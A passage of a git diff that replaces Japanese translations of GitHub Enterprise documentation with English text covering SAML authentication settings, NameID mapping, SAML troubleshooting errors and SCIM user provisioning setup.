reusables.enterprise_site_admin_settings.invite-user-reset-link %} -## 参考リンク +## Further reading -- /enterprise/{{ page.version }}/admin/guides/user-management/using-ldap -- [SAMLの利用](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-saml) -- [CASの利用](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-cas) +- "[Using LDAP](/enterprise/admin/authentication/using-ldap)" +- "[Using SAML](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-saml)" +- "[Using CAS](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-cas)" diff --git a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md index dce0db3bd1..b7f582ffcb 100644 --- a/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md +++ b/translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md @@ -1,12 +1,12 @@ --- -title: SAMLの利用 +title: Using SAML redirect_from: - /enterprise/admin/articles/configuring-saml-authentication/ - /enterprise/admin/articles/about-saml-authentication/ - /enterprise/admin/user-management/using-saml - /enterprise/admin/authentication/using-saml - /admin/authentication/using-saml -intro: 'SAML は認証と認可のための XML ベースの標準です。 {% data variables.product.prodname_ghe_server %} は、内部的な SAML アイデンティティプロバイダ (IdP) とサービスプロバイダ (SP) として動作できます。' +intro: 'SAML is an XML-based standard for authentication and authorization. {% data variables.product.prodname_ghe_server %} can act as a service provider (SP) with your internal SAML identity provider (IdP).' versions: ghes: '*' type: how_to @@ -17,31 +17,30 @@ topics: - Identity - SSO --- - {% data reusables.enterprise_user_management.built-in-authentication %} -## サポートされているSAMLサービス +## Supported SAML services {% data reusables.saml.saml-supported-idps %} {% data reusables.saml.saml-single-logout-not-supported %} -## SAMLでのユーザ名についての考慮 +## Username considerations with SAML -各{% data variables.product.prodname_ghe_server %}ユーザ名は、SAMLの応答で次のアサーションのいずれかによって決定され、優先順位で並べられます。 +Each {% data variables.product.prodname_ghe_server %} username is determined by one of the following assertions in the SAML response, ordered by priority: -- カスタムユーザ名属性 (定義済みかつ存在する場合) -- `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name`アサーション (存在する場合) -- `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress`アサーション (存在する場合) -- `NameID`要素 +- The custom username attribute, if defined and present +- An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name` assertion, if present +- An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` assertion, if present +- The `NameID` element -`NameID`要素は、他の属性が存在する場合でも必須です。 +The `NameID` element is required even if other attributes are present. -`NameID` と {% data variables.product.prodname_ghe_server %} ユーザ名の間にマッピングが作成されるため、`NameID` は永続的で一意でなければならず、ユーザのライフサイクルにおいて変更にさらされないようにする必要があります。 +A mapping is created between the `NameID` and the {% data variables.product.prodname_ghe_server %} username, so the `NameID` should be persistent, unique, and not subject to change for the lifecycle of the user. {% note %} -**注釈**: ユーザの `NameID` が IdP で変更された場合、ユーザが {% data variables.product.prodname_ghe_server %} インスタンスにサインインしようとすると、エラーメッセージが表示されます。 {% ifversion ghes %} ユーザのアクセスを復元するには、ユーザアカウントの `NameID` マッピングを更新する必要があります。 詳しい情報については、「[ユーザの SAML `NameID` を更新する](#updating-a-users-saml-nameid)」を参照してください。{% else %} 詳しい情報については、「[エラー: '別のユーザーがすでにアカウントを所有しています'](#error-another-user-already-owns-the-account)」を参照してください。{% endif %} +**Note**: If the `NameID` for a user does change on the IdP, the user will see an error message when they try to sign in to your {% data variables.product.prodname_ghe_server %} instance. {% ifversion ghes %}To restore the user's access, you'll need to update the user account's `NameID` mapping. For more information, see "[Updating a user's SAML `NameID`](#updating-a-users-saml-nameid)."{% else %} For more information, see "[Error: 'Another user already owns the account'](#error-another-user-already-owns-the-account)."{% endif %} {% endnote %} @@ -52,75 +51,88 @@ topics: {% data reusables.enterprise_user_management.two_factor_auth_header %} {% data reusables.enterprise_user_management.external_auth_disables_2fa %} -## SAMLのメタデータ +## SAML metadata -{% data variables.product.prodname_ghe_server %} インスタンスのサービスプロバイダメタデータは、`http(s)://[hostname]/saml/metadata` にあります。 +Your {% data variables.product.prodname_ghe_server %} instance's service provider metadata is available at `http(s)://[hostname]/saml/metadata`. -アイデンティティプロバイダを手動で設定するなら、Assertion Consumer Service (ACS) URLは`http(s)://[hostname]/saml/consume`です。 これは`urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST`バインディングを利用します。 +To configure your identity provider manually, the Assertion Consumer Service (ACS) URL is `http(s)://[hostname]/saml/consume`. It uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. -## SAMLの属性 +## SAML attributes -以下の属性が利用できます。 `administrator`属性以外の属性の名前は[Management Console](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console/)で変更できます。 +These attributes are available. You can change the attribute names in the [management console](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console/), with the exception of the `administrator` attribute. -| デフォルトの属性名 | 種類 | 説明 | -| --------------- | -- | --------------------------------------------------------------------------------------------------------------------------- | -| `NameID` | 必須 | 永続ユーザ識別子。 任意の名前識別子の形式を使用できます。 どの代替アサーションも指定しない場合、{% data variables.product.prodname_ghe_server %}ユーザ名には`NameID`要素が使用されます。 | -| `administrator` | 任意 | この値が 'true' であれば、ユーザは自動的に管理者に昇格します。 他の値、あるいは値が存在しない場合は、ユーザは通常のユーザアカウントに降格します。 | -| `ユーザ名` | 任意 | {% data variables.product.prodname_ghe_server %} のユーザ名 | -| `full_name` | 任意 | ユーザのプロフィールページに表示されるユーザ名です。 ユーザはプロビジョニング後に名前を変更できます。 | -| `emails` | 任意 | ユーザのメールアドレス。 複数指定することができます。 | -| `public_keys` | 任意 | ユーザの公開 SSH キー。 複数指定することができます。 | -| `gpg_keys` | 任意 | ユーザの GPG キー。 複数指定することができます。 | +| Default attribute name | Type | Description | +|-----------------|----------|-------------| +| `NameID` | Required | A persistent user identifier. Any persistent name identifier format may be used. The `NameID` element will be used for a {% data variables.product.prodname_ghe_server %} username unless one of the alternative assertions is provided. | +| `administrator` | Optional | When the value is 'true', the user will automatically be promoted as an administrator. Any other value or a non-existent value will demote the user to a normal user account. | +| `username` | Optional | The {% data variables.product.prodname_ghe_server %} username. | +| `full_name` | Optional | The name of the user displayed on their profile page. Users may change their names after provisioning. | +| `emails` | Optional | The email addresses for the user. More than one can be specified. | +| `public_keys` | Optional | The public SSH keys for the user. More than one can be specified. | +| `gpg_keys` | Optional | The GPG keys for the user. More than one can be specified. | -## SAMLの設定 +## Configuring SAML settings {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %} -3. **SAML**を選択してください。 ![SAML認証](/assets/images/enterprise/management-console/auth-select-saml.png) -4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![SAML ビルトイン認証の選択チェックボックス](/assets/images/enterprise/management-console/saml-built-in-authentication.png) -5. オプションで、未承諾応答SSOを有効化する場合は [**IdP initiated SSO**] を選択します。 デフォルトでは、{% data variables.product.prodname_ghe_server %}は未承認アイデンティティプロバイダ (IdP) 起点のリクエストに対して、IdPへの`AuthnRequest`返信で応答します。 ![SAML idP SSO](/assets/images/enterprise/management-console/saml-idp-sso.png) +3. Select **SAML**. +![SAML authentication](/assets/images/enterprise/management-console/auth-select-saml.png) +4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Select SAML built-in authentication checkbox](/assets/images/enterprise/management-console/saml-built-in-authentication.png) +5. Optionally, to enable unsolicited response SSO, select **IdP initiated SSO**. By default, {% data variables.product.prodname_ghe_server %} will reply to an unsolicited Identity Provider (IdP) initiated request with an `AuthnRequest` back to the IdP. +![SAML idP SSO](/assets/images/enterprise/management-console/saml-idp-sso.png) {% tip %} - **ノート**：この値は**選択しない**でおくことをおすすめします。 この機能を有効にするのは、SAMLの実装がサービスプロバイダ起点のSSOをサポートしないまれな場合と、{% data variables.contact.enterprise_support %}によって推奨された場合**だけ**にすべきです。 + **Note**: We recommend keeping this value **unselected**. You should enable this feature **only** in the rare instance that your SAML implementation does not support service provider initiated SSO, and when advised by {% data variables.contact.enterprise_support %}. {% endtip %} -5. {% data variables.product.product_location %} 上のユーザの管理者権限を SAML プロバイダに決めさせたく**ない**場合、[**Disable administrator demotion/promotion**] を選択します。 ![SAMLの無効化の管理者設定](/assets/images/enterprise/management-console/disable-admin-demotion-promotion.png) -6. **Single sign-on URL（シングルサインオンURL）**フィールドに、使用するIdpのシングルサインオンのリクエストのためのHTTPあるいはHTTPSエンドポイントを入力してください。 この値はIdpの設定によって決まります。 ホストが内部のネットワークからしか利用できない場合、[{% data variables.product.product_location %}を内部ネームサーバーを利用するように設定](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-dns-nameservers/)する必要があるかもしれません。 ![SAML認証](/assets/images/enterprise/management-console/saml-single-sign-url.png) -7. または、[**Issuer**] フィールドに、SAML の発行者の名前を入力します。 これは、{% data variables.product.product_location %} へ送信されるメッセージの真正性を検証します。 ![SAML発行者](/assets/images/enterprise/management-console/saml-issuer.png) -8. [**Signature Method**] および [**Digest Method**] ドロップダウンメニューで、SAML の発行者が {% data variables.product.product_location %} からのリクエストの整合性の検証に使うハッシュアルゴリズムを選択します。 ** Name Identifier Format（Name Identifier形式）**ドロップダウンメニューから形式を指定してください。 ![SAML方式](/assets/images/enterprise/management-console/saml-method.png) -9. [**Verification certificate**] の下で、[**Choose File**] をクリックし、IdP からの SAML のレスポンスを検証するための証明書を選択してください。 ![SAML認証](/assets/images/enterprise/management-console/saml-verification-cert.png) -10. 必要に応じてSAMLの属性名はIdPに合わせて修正してください。あるいはデフォルト名をそのまま受け付けてください。 ![SAMLの属性名](/assets/images/enterprise/management-console/saml-attributes.png) +5. Select **Disable administrator demotion/promotion** if you **do not** want your SAML provider to determine administrator rights for users on {% data variables.product.product_location %}. +![SAML disable admin configuration](/assets/images/enterprise/management-console/disable-admin-demotion-promotion.png) +6. In the **Single sign-on URL** field, type the HTTP or HTTPS endpoint on your IdP for single sign-on requests. This value is provided by your IdP configuration. If the host is only available from your internal network, you may need to [configure {% data variables.product.product_location %} to use internal nameservers](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-dns-nameservers/). +![SAML authentication](/assets/images/enterprise/management-console/saml-single-sign-url.png) +7. Optionally, in the **Issuer** field, type your SAML issuer's name. This verifies the authenticity of messages sent to {% data variables.product.product_location %}. +![SAML issuer](/assets/images/enterprise/management-console/saml-issuer.png) +8. In the **Signature Method** and **Digest Method** drop-down menus, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests from {% data variables.product.product_location %}. Specify the format with the **Name Identifier Format** drop-down menu. +![SAML method](/assets/images/enterprise/management-console/saml-method.png) +9. Under **Verification certificate**, click **Choose File** and choose a certificate to validate SAML responses from the IdP. +![SAML authentication](/assets/images/enterprise/management-console/saml-verification-cert.png) +10. Modify the SAML attribute names to match your IdP if needed, or accept the default names. + ![SAML attribute names](/assets/images/enterprise/management-console/saml-attributes.png) {% ifversion ghes %} -## {{ site.data.variables.product.product_location_enterprise }}へのアクセスの削除 +## Updating a user's SAML `NameID` {% data reusables.enterprise_site_admin_settings.access-settings %} -2. **SAML**を選択してください。 ![サイト管理者設定の "All users" サイドバー項目](/assets/images/enterprise/site-admin-settings/all-users.png) -3. ユーザーのリストで、`NameID` マッピングを更新するユーザ名をクリックします。 ![インスタンスユーザアカウントのリストにあるユーザ名](/assets/images/enterprise/site-admin-settings/all-users-click-username.png) +2. In the left sidebar, click **All users**. + !["All users" sidebar item in site administrator settings](/assets/images/enterprise/site-admin-settings/all-users.png) +3. In the list of users, click the username you'd like to update the `NameID` mapping for. + ![Username in list of instance user accounts](/assets/images/enterprise/site-admin-settings/all-users-click-username.png) {% data reusables.enterprise_site_admin_settings.security-tab %} -5. [Update SAML NameID] の右にある [**Edit**] アイコンをクリックします。 ![SAML認証](/assets/images/enterprise/site-admin-settings/update-saml-nameid-edit.png) -6. [NameID] フィールドに、ユーザの新しい `NameID` を入力します。 ![入力済みの NameID を含むモーダルダイアログの "NameID" フィールド](/assets/images/enterprise/site-admin-settings/update-saml-nameid-field-in-modal.png) -7. [**Update NameID**] をクリックします。 ![モーダル内の更新された NameID 値の下の "Update NameID" ボタン](/assets/images/enterprise/site-admin-settings/update-saml-nameid-update.png) +5. To the right of "Update SAML NameID", click **Edit** . + !["Edit" button under "SAML authentication" and to the right of "Update SAML NameID"](/assets/images/enterprise/site-admin-settings/update-saml-nameid-edit.png) +6. In the "NameID" field, type the new `NameID` for the user. + !["NameID" field in modal dialog with NameID typed](/assets/images/enterprise/site-admin-settings/update-saml-nameid-field-in-modal.png) +7. Click **Update NameID**. + !["Update NameID" button under updated NameID value within modal](/assets/images/enterprise/site-admin-settings/update-saml-nameid-update.png) {% endif %} -## {% data variables.product.product_location %}へのアクセスの削除 +## Revoking access to {% data variables.product.product_location %} -アイデンティティプロバイダからユーザを削除したなら、そのユーザを手動でサスペンドもしなければなりません。 そうしなければ、そのユーザはアクセストークンあるいはSSHキーを使って引き続き認証を受けることができてしまいます。 詳しい情報については[ユーザのサスペンドとサスペンドの解除](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users)を参照してください。 +If you remove a user from your identity provider, you must also manually suspend them. Otherwise, they'll continue to be able to authenticate using access tokens or SSH keys. For more information, see "[Suspending and unsuspending users](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users)". -## レスポンスメッセージについての要求 +## Response message requirements -レスポンスメッセージは以下の要求を満たさなければなりません。 +The response message must fulfill the following requirements: -- ``要素はルートレスポンスドキュメントで指定されていなければならず、ACS URLに一致する必要があります。ただし、これはルートレスポンスドキュメントに署名がある場合のみです。 アサーションに署名がある場合は無視されます。 -- ``要素の一部として、``要素は常に指定する必要があります。 ``要素の一部として、``要素は常に指定する必要があります。 これは、`https://ghe.corp.example.com`というような、{% data variables.product.prodname_ghe_server %}インスタンスへのURLです。 -- レスポンス中での各アサーションは、電子署名で保護されていなければ**なりません**。 これは、個々の``要素に署名するか、``要素を署名するかすることによって行います。 -- ``要素の一部として``要素を指定する必要があります。 任意の名前識別子の形式を使用できます。 -- `Recipient` 属性は存在しなければならず、ACS URL に設定されなければなりません。 例: +- The `` element must be provided on the root response document and match the ACS URL only when the root response document is signed. If the assertion is signed, it will be ignored. +- The `` element must always be provided as part of the `` element. It must match the `EntityId` for {% data variables.product.prodname_ghe_server %}. This is the URL to the {% data variables.product.prodname_ghe_server %} instance, such as `https://ghe.corp.example.com`. +- Each assertion in the response **must** be protected by a digital signature. This can be accomplished by signing each individual `` element or by signing the `` element. +- A `` element must be provided as part of the `` element. Any persistent name identifier format may be used. +- The `Recipient` attribute must be present and set to the ACS URL. For example: ```xml @@ -140,23 +152,23 @@ topics: ``` -## SAML認証 +## Troubleshooting SAML authentication -{% data variables.product.prodname_ghe_server %} は、認証ログの _/var/log/github/auth.log_ で失敗した SAML 認証のエラーメッセージをログに記録します。 SAML レスポンス要件の詳細については、「[レスポンスメッセージの要件](#response-message-requirements)」を参照してください。 +{% data variables.product.prodname_ghe_server %} logs error messages for failed SAML authentication in the authentication log at _/var/log/github/auth.log_. For more information about SAML response requirements, see "[Response message requirements](#response-message-requirements)." -### エラー:「別のユーザがすでにアカウントを所有しています」 +### Error: "Another user already owns the account" -ユーザが SAML 認証を使用して初めて {% data variables.product.prodname_ghe_server %} にサインインすると、{% data variables.product.prodname_ghe_server %} はインスタンスにユーザアカウントを作成し、SAML `NameID` をアカウントにマップします。 +When a user signs in to {% data variables.product.prodname_ghe_server %} for the first time with SAML authentication, {% data variables.product.prodname_ghe_server %} creates a user account on the instance and maps the SAML `NameID` to the account. -ユーザが再度サインインすると、{% data variables.product.prodname_ghe_server %} はアカウントの `NameID` マッピングを IdP のレスポンスと比較します。 IdP のレスポンスの `NameID` が、{% data variables.product.prodname_ghe_server %} がユーザに対して想定している `NameID` とマッチしなくなると、サインインは失敗します。 ユーザには次のメッセージが表示されます。 +When the user signs in again, {% data variables.product.prodname_ghe_server %} compares the account's `NameID` mapping to the IdP's response. If the `NameID` in the IdP's response no longer matches the `NameID` that {% data variables.product.prodname_ghe_server %} expects for the user, the sign-in will fail. The user will see the following message. -> 別のユーザが既にアカウントを所有しています。 管理者に認証ログを確認するようご依頼ください。 +> Another user already owns the account. Please have your administrator check the authentication log. -このメッセージは通常、その人のユーザ名またはメールアドレスが IdP で変更されたということを示します。 {% ifversion ghes %}{% data variables.product.prodname_ghe_server %} のユーザアカウントの `NameID` マッピングが IdP のユーザの `NameID` とマッチすることを確認します。 詳しい情報については、「[ユーザの SAML `NameID` の更新](#updating-a-users-saml-nameid)」を参照してください。{% else %} `NameID` マッピングの更新については、{% data variables.contact.contact_ent_support %} にお問い合わせください。{% endif %} +The message typically indicates that the person's username or email address has changed on the IdP. {% ifversion ghes %}Ensure that the `NameID` mapping for the user account on {% data variables.product.prodname_ghe_server %} matches the user's `NameID` on your IdP. For more information, see "[Updating a user's SAML `NameID`](#updating-a-users-saml-nameid)."{% else %}For help updating the `NameID` mapping, contact {% data variables.contact.contact_ent_support %}.{% endif %} -### SAMLレスポンスが署名されていなかった場合、あるいは署名が内容とマッチしなかった場合、authログに以下のエラーメッセージが残されます。 +### Error: Recipient in SAML response was blank or not valid -`Recipient`がACS URLと一致しなかった場合、authログに以下のエラーメッセージが残されます。 +If the `Recipient` does not match the ACS URL for your {% data variables.product.prodname_ghe_server %} instance, one of the following two error messages will appear in the authentication log when a user attempts to authenticate. ``` Recipient in the SAML response must not be blank. @@ -166,24 +178,24 @@ Recipient in the SAML response must not be blank. Recipient in the SAML response was not valid. ``` -IdP の `Recipient` の値を、{% data variables.product.prodname_ghe_server %} インスタンスの完全な ACS URL に設定してください。 例: `https://ghe.corp.example.com/saml/consume` +Ensure that you set the value for `Recipient` on your IdP to the full ACS URL for your {% data variables.product.prodname_ghe_server %} instance. For example, `https://ghe.corp.example.com/saml/consume`. -### エラー:「SAML レスポンスが署名されていないか、変更されています」 +### Error: "SAML Response is not signed or has been modified" -IdP が SAML レスポンスに署名しない場合、または署名が内容と一致しない場合、次のエラーメッセージが認証ログに表示されます。 +If your IdP does not sign the SAML response, or the signature does not match the contents, the following error message will appear in the authentication log. ``` SAML Response is not signed or has been modified. ``` -IdP で {% data variables.product.prodname_ghe_server %} アプリケーションの署名済みアサーションを設定していることを確認してください。 +Ensure that you configure signed assertions for the {% data variables.product.prodname_ghe_server %} application on your IdP. -### エラー:「Audience が無効です」または「アサーションが見つかりません」 +### Error: "Audience is invalid" or "No assertion found" -IdP のレスポンスに `Audience` の値がないか、または正しくない場合、次のエラーメッセージが認証ログに表示されます。 +If the IdP's response has a missing or incorrect value for `Audience`, the following error message will appear in the authentication log. ```shell Audience is invalid. Audience attribute does not match https://YOUR-INSTANCE-URL ``` -IdP の `Audience` の値を、{% data variables.product.prodname_ghe_server %} インスタンスの `EntityId` に設定してください。これは、{% data variables.product.prodname_ghe_server %} インスタンスへの完全な URL です。 例: `https://ghe.corp.example.com` +Ensure that you set the value for `Audience` on your IdP to the `EntityId` for your {% data variables.product.prodname_ghe_server %} instance, which is the full URL to your {% data variables.product.prodname_ghe_server %} instance. For example, `https://ghe.corp.example.com`. diff --git a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md index a95c0cc80d..08dbf11ad7 100644 --- a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md +++ b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Enterprise 向けのユーザプロビジョニングを設定する -shortTitle: ユーザプロビジョニングの設定 -intro: 'System for Cross-domain Identity Management (SCIM) のシステムを設定できます。これにより、{% data variables.product.product_location %} のアプリケーションをアイデンティティプロバイダ (IdP) 上のユーザに割り当てると、{% data variables.product.product_location %} のユーザアカウントが自動的にプロビジョニングされます。' +title: Configuring user provisioning for your enterprise +shortTitle: Configuring user provisioning +intro: 'You can configure System for Cross-domain Identity Management (SCIM) for your enterprise, which automatically provisions user accounts on {% data variables.product.product_location %} when you assign the application for {% data variables.product.product_location %} to a user on your identity provider (IdP).' permissions: 'Enterprise owners can configure user provisioning for an enterprise on {% data variables.product.product_name %}.' product: '{% data reusables.gated-features.saml-sso %}' versions: @@ -16,74 +16,75 @@ topics: redirect_from: - /admin/authentication/configuring-user-provisioning-for-your-enterprise --- +## About user provisioning for your enterprise -## Enterprise 向けのユーザプロビジョニングについて +{% data reusables.saml.ae-uses-saml-sso %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)." -{% data reusables.saml.ae-uses-saml-sso %}詳しい情報については、「[Enterprise 向けの SAML シングルサインオンを設定する](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)」を参照してください。 - -{% data reusables.scim.after-you-configure-saml %} SCIM の詳細については、IETF Web サイトの「[System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644)」を参照してください。 +{% data reusables.scim.after-you-configure-saml %} For more information about SCIM, see [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website. {% ifversion ghae %} -プロビジョニングを設定すると、{% data variables.product.product_name %} のアプリケーションを IdP のユーザに割り当てたり、割り当て解除したりするときに、IdP が {% data variables.product.product_location %} と通信できるようになります。 アプリケーションを割り当てると、IdP は {% data variables.product.product_location %} にアカウントを作成し、オンボーディングメールをユーザに送信するように求めます。 アプリケーションの割り当てを解除すると、IdP は {% data variables.product.product_name %} と通信して、SAML セッションを無効にし、メンバーのアカウントを無効にします。 +Configuring provisioning allows your IdP to communicate with {% data variables.product.product_location %} when you assign or unassign the application for {% data variables.product.product_name %} to a user on your IdP. When you assign the application, your IdP will prompt {% data variables.product.product_location %} to create an account and send an onboarding email to the user. When you unassign the application, your IdP will communicate with {% data variables.product.product_name %} to invalidate any SAML sessions and disable the member's account. -Enterprise のプロビジョニングを設定するには、{% data variables.product.product_name %} でプロビジョニングを有効にしてから、IdP にプロビジョニングアプリケーションをインストールして設定する必要があります。 +To configure provisioning for your enterprise, you must enable provisioning on {% data variables.product.product_name %}, then install and configure a provisioning application on your IdP. -IdP のプロビジョニングアプリケーションは、Enterprise 向けの SCIM API を介して {% data variables.product.product_name %} と通信します。 詳しい情報については、{% data variables.product.prodname_dotcom %} REST API ドキュメントの「[GitHub Enterprise の管理](/rest/reference/enterprise-admin#scim)」を参照してください。 +The provisioning application on your IdP communicates with {% data variables.product.product_name %} via our SCIM API for enterprises. For more information, see "[GitHub Enterprise administration](/rest/reference/enterprise-admin#scim)" in the {% data variables.product.prodname_dotcom %} REST API documentation. {% endif %} -## サポートされているアイデンティティプロバイダ +## Supported identity providers {% data reusables.scim.supported-idps %} -サポートされている IdP を使用してユーザプロビジョニングを設定する場合、{% data variables.product.product_name %} のアプリケーションをユーザのグループに割り当てたり、割り当てを解除したりすることもできます。 これらのグループは、{% data variables.product.product_location %} の Organization のオーナーとチームメンテナが {% data variables.product.product_name %} Team にマッピングできるようになります。 詳しい情報については「[アイデンティティプロバイダグループとTeamの同期](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)」を参照してください。 +When you set up user provisioning with a supported IdP, you can also assign or unassign the application for {% data variables.product.product_name %} to groups of users. These groups are then available to organization owners and team maintainers in {% data variables.product.product_location %} to map to {% data variables.product.product_name %} teams. For more information, see "[Synchronizing a team with an identity provider group](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group)." -## 必要な環境 +## Prerequisites {% ifversion ghae %} -IdP から {% data variables.product.product_location %} へのアクセスを自動的にプロビジョニングおよびプロビジョニング解除するには、{% data variables.product.product_name %} を初期化するときに最初に SAML SSO を設定する必要があります。 詳しい情報については、「[{% data variables.product.prodname_ghe_managed %} を初期化する](/admin/configuration/initializing-github-ae)」を参照してください。 +To automatically provision and deprovision access to {% data variables.product.product_location %} from your IdP, you must first configure SAML SSO when you initialize {% data variables.product.product_name %}. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)." -{% data variables.product.product_name %} のユーザプロビジョニング用にアプリケーションを設定するには、IdP の管理アクセス権が必要です。 +You must have administrative access on your IdP to configure the application for user provisioning for {% data variables.product.product_name %}. {% endif %} -## Enterprise 向けのユーザプロビジョニングを有効化する +## Enabling user provisioning for your enterprise {% ifversion ghae %} -1. While signed into {% data variables.product.product_location %} as an enterprise owner, create a personal access token with **admin:enterprise** scope. 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。 +1. While signed into {% data variables.product.product_location %} as an enterprise owner, create a personal access token with **admin:enterprise** scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." {% note %} - 設定ファイルでクエリスイートを指定すると、{% data variables.product.prodname_codeql %} 分析エンジンは、デフォルトのクエリセットに加えて、スイートに含まれるクエリを実行します。 - - 個人アクセストークンを作成するには、初期化中に作成した最初の Enterprise オーナーのアカウントを使用することをお勧めします。 詳しい情報については、「[{% data variables.product.prodname_ghe_managed %} を初期化する](/admin/configuration/initializing-github-ae)」を参照してください。 - - IdP で SCIM 用にアプリケーションを設定するには、この個人アクセストークンが必要です。 手順の後半でトークンが再び必要になるまで、トークンをパスワードマネージャーに安全に保管してください。 + **Notes**: + - To create the personal access token, we recommend using the account for the first enterprise owner that you created during initialization. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)." + - You'll need this personal access token to configure the application for SCIM on your IdP. Store the token securely in a password manager until you need the token again later in these instructions. {% endnote %} {% warning %} - **警告**: 個人アクセストークンを作成する Enterprise オーナーのユーザーアカウントが非アクティブ化またはプロビジョニング解除された場合、IdP は Enterprise のユーザアカウントを自動的にプロビジョニングおよびプロビジョニング解除しません。 別の Enterprise オーナーは、新しい個人アクセストークンを作成し、IdP でプロビジョニングを再設定する必要があります。 + **Warning**: If the user account for the enterprise owner who creates the personal access token is deactivated or deprovisioned, your IdP will no longer provision and deprovision user accounts for your enterprise automatically. Another enterprise owner must create a new personal access token and reconfigure provisioning on the IdP. {% endwarning %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %} -1. [SCIM User Provisioning] で、[**Require SCIM user provisioning**] を選択します。 ![Enterprise セキュリティ設定内の [Require SCIM user provisioning] のチェックボックス](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png) -1. [**Save**] をクリックします。 ![Enterprise セキュリティ設定内の [Require SCIM user provisioning] の下にある [Save] ボタン](/assets/images/help/enterprises/settings-scim-save.png) -1. IdP の {% data variables.product.product_name %} のアプリケーションでユーザプロビジョニングを設定します。 +1. Under "SCIM User Provisioning", select **Require SCIM user provisioning**. + ![Checkbox for "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png) +1. Click **Save**. + ![Save button under "Require SCIM user provisioning" within enterprise security settings](/assets/images/help/enterprises/settings-scim-save.png) +1. Configure user provisioning in the application for {% data variables.product.product_name %} on your IdP. - 次の IdP では、{% data variables.product.product_name %} のプロビジョニングの設定に関するドキュメントを提供しています。 IdP がリストにない場合は、IdP に問い合わせて、{% data variables.product.product_name %} のサポートをご依頼ください。 + The following IdPs provide documentation about configuring provisioning for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}. - | IdP | 詳細情報 | - |:-------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | - | Azure AD | Microsoft Docs の「[チュートリアル: 自動ユーザプロビジョニング用に {% data variables.product.prodname_ghe_managed %} を設定する](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial)」 | + | IdP | More information | + | :- | :- | + | Azure AD | [Tutorial: Configure {% data variables.product.prodname_ghe_managed %} for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial) in the Microsoft Docs | - IdP のアプリケーションでは、{% data variables.product.product_location %} でユーザアカウントをプロビジョニングまたはプロビジョニング解除するために 2 つの値が必要です。 + The application on your IdP requires two values to provision or deprovision user accounts on {% data variables.product.product_location %}. - | 値 | 別名 | 説明 | サンプル | - |:-------- |:--------------------- |:--------------------------------------------------------------------------------------------- |:------------------------------------------------------------------ | - | URL | テナント URL | {% data variables.product.prodname_ghe_managed %} にある Enterprise の SCIM プロビジョニング API への URL | `{% data variables.product.api_url_pre %}/scim/v2` | - | 共有シークレット | 個人アクセストークン、シークレットトークン | Enterprise オーナーに代わってプロビジョニングタスクを実行するための IdP 上のアプリケーションのトークン | ステップ 1 で作成した個人アクセストークン | + | Value | Other names | Description | Example | + | :- | :- | :- | :- | + | URL | Tenant URL | URL to the SCIM provisioning API for your enterprise on {% data variables.product.prodname_ghe_managed %} | {% data variables.product.api_url_pre %}/scim/v2 | + | Shared secret | Personal access token, secret token | Token for application on your IdP to perform provisioning tasks on behalf of an enterprise owner | Personal access token you created in step 1 | {% endif %} diff --git a/translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md 